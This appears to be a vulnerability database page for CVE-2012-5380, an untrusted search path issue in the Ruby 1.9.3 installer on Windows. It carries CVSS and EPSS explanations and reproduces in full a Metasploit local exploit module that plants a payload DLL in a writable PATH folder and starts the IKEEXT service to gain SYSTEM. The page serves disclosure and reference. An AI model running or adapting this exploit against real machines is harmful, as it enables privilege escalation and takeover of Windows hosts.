CVE-2012-5380 : Detail

CVE-2012-5380

6.7
/
Medium
Directory Traversal
A01-Broken Access Control
0.04%V3
Local
2012-10-11
10h00 +00:00
2024-09-17
01h01 +00:00
CVE.org
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CVE Descriptions

Untrusted search path vulnerability in the installation functionality in Ruby 1.9.3-p194, when installed in the top-level C:\ directory, might allow local users to gain privileges via a Trojan horse DLL in the C:\Ruby193\bin directory, which may be added to the PATH system environment variable by an administrator, as demonstrated by a Trojan horse wlbsctrl.dll file used by the "IKE and AuthIP IPsec Keying Modules" system service in Windows Vista SP1, Windows Server 2008 SP2, Windows 7 SP1, and Windows 8 Release Preview. NOTE: CVE disputes this issue because the unsafe PATH is established only by a separate administrative action that is not a default part of the Ruby installation

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 6.7 MEDIUM CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 6 AV:L/AC:H/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 28130

Publication date : 2013-09-05 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. }, 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 09 2012", 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <[email protected]>' ], 'Platform' => [ 'win'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? print_warning("Unable to enumerate services.") return false end if srv_info && srv_info['Name'].empty? print_warning("Service #{service} does not exist.") return false else return true end end def check srv_info = service_info(@service_name) if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe end vprint_status(srv_info.to_s) case srv_info['Startup'] when 'Disabled' print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' print_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def check_search_path dll = 'wlbsctrl.dll' @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" if file_exist?(dll_path) print_warning("DLL already exists at #{dll_path}...") return true end end return false end def check_system_path print_status("Checking %PATH% folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? print_error("Unable to retrieve %PATH% from registry.") return end paths = result.split(';') paths.append(@load_lib_search_path).flatten!.uniq! paths.each do |p| path = expand_path(p) if exist?(path) if check_write_access(path) return path end else # User may be able to create the path... print_status("Path #{path} does not exist...") @non_existant_dirs << path end end return nil end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good ("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) if exist?(dir) register_file_for_cleanup(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end end return nil end def check_session_arch if sysinfo['Architecture'] =~ /x64/i if payload_instance.arch.first == 'x86' fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end else if payload_instance.arch.first =~ /64/i fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end end end def exploit check_session_arch begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end if datastore['DIR'].empty? # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs if file_path.nil? fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") end else # Use manually selected Dir file_path = datastore['DIR'] end @dll_file_path = "#{file_path}\\wlbsctrl.dll" service_information = service_info(@service_name) if service_information['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") service_change_startup(@service_name, 'auto') service_information = service_info(@service_name) # Still disabled if service_information['Startup'] == 'Disabled' fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") end end # Check architecture dll = generate_payload_dll # # Drop the malicious executable into the path # print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) register_file_for_cleanup(@dll_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Exploit::Failure::Unknown, e.message) end # # Run the service, let the Windows API do the rest # print_status("Launching service #{@service_name}...") begin status = service_start(@service_name) if status == 1 print_status("Service already running, attempting to restart...") if service_stop(@service_name) == 0 print_status("Service stopped, attempting to start...") if service_start(@service_name) == 0 print_status("Service started...") else fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") end rescue RuntimeError => e raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end end end end

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version 1.9.3

References